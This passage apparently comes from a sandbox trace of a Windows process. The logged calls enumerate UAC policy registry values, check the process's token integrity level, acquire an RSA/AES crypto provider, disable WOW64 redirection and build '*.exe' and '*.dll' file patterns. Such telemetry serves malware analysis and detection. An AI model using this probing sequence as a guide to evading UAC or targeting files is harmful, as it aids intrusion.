lpData=0x0, lpcbData=0x0) returned 0x0 [0229.284] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.285] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0229.285] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x35c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x35c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0229.285] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c240) returned 1 [0229.285] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.285] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.298] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.298] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.298] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.300] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.300] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.300] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.300] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.301] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.301] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.302] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.302] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.302] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.307] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.308] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.308] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.308] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.308] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0229.309] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x35c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x35c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0229.309] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c480) returned 1 [0229.310] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c5a0) returned 1 [0229.310] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35b8a8) returned 1 [0229.310] RegCloseKey (hKey=0x38) returned 0x0 [0229.317] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0229.318] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0229.318] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0229.318] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0229.319] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x35c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x35c5a0, ReturnLength=0x18fbfc) returned 1 [0229.321] GetSidSubAuthorityCount (pSid=0x35c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x35c5a9 [0229.321] GetSidSubAuthority (pSid=0x35c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x35c5b0 [0229.321] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c5a0) returned 1 [0229.321] NtClose (Handle=0xc4) returned 0x0 [0229.322] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0229.323] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x6c) returned 0x35b860 [0229.323] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c5a0 [0229.324] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0229.324] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c480 [0229.324] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c438 [0229.324] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c558 [0229.324] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c510 [0229.324] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2180048 [0229.332] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c4c8 [0229.335] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c4c8) returned 1 [0229.335] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x522010) returned 1 [0229.358] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2180048) returned 1 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35b8d8 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35b960 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c4c8 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35b9e8 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ba70 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c3f0 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35baf8 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c3a8 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2180048 [0229.358] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c360 [0229.358] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c360) returned 1 [0229.358] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0229.552] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2180048) returned 1 [0229.552] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x51cd58, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0229.552] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c360 [0229.552] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0229.552] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c360) returned 1 [0229.552] GetLastError () returned 0x0 [0229.552] LocalFree (hMem=0x51cd58) returned 0x0 [0229.552] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c360 [0229.552] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2180048 [0229.552] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c318 [0229.552] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c318) returned 1 [0229.552] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0229.558] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2180048) returned 1 [0229.558] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x51cd58, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0229.558] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c318 [0229.558] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0229.558] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c318) returned 1 [0229.558] GetLastError () returned 0x0 [0229.558] LocalFree (hMem=0x51cd58) returned 0x0 [0229.558] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c318 [0229.558] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2180048 [0229.558] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c2d0 [0229.558] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c2d0) returned 1 [0229.558] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0229.563] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2180048) returned 1 [0229.563] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x51cd58, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c2d0 [0229.564] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c2d0) returned 1 [0229.564] GetLastError () returned 0x0 [0229.564] LocalFree (hMem=0x51cd58) returned 0x0 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2800) returned 0x2180048 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bb80 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c2d0 [0229.564] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2800) returned 0x2182850 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d5e8 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2d8 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1f8 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c1f8) returned 1 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2d8) returned 1 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d5e8) returned 1 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2182850) returned 1 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2800) returned 0x2182850 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.564] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.564] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d5e8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2d8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1f8 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2c8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d600 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2b8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1b0 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2a8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c168 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c1f8) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2d8) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2c8) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d5e8) returned 1 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d5e8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2c8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2d8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1f8 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c1b0) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2b8) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c168) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2a8) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d600) returned 1 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d600 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2a8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c168 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2b8 [0229.565] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1b0 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2c8) returned 1 [0229.565] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c1f8) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2d8) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d5e8) returned 1 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d5e8 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2d8 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1f8 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2c8 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c168) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2a8) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c1b0) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2b8) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d600) returned 1 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2182850) returned 1 [0229.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35d9d0 [0229.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c1f8, cbMultiByte=5, lpWideCharStr=0x35d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35da58 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d9d0) returned 1 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d600 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2b8 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35d9d0 [0229.566] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35da58) returned 1 [0229.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0229.566] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35da58 [0229.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c288, cbMultiByte=5, lpWideCharStr=0x35da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dae0 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35da58) returned 1 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2a8 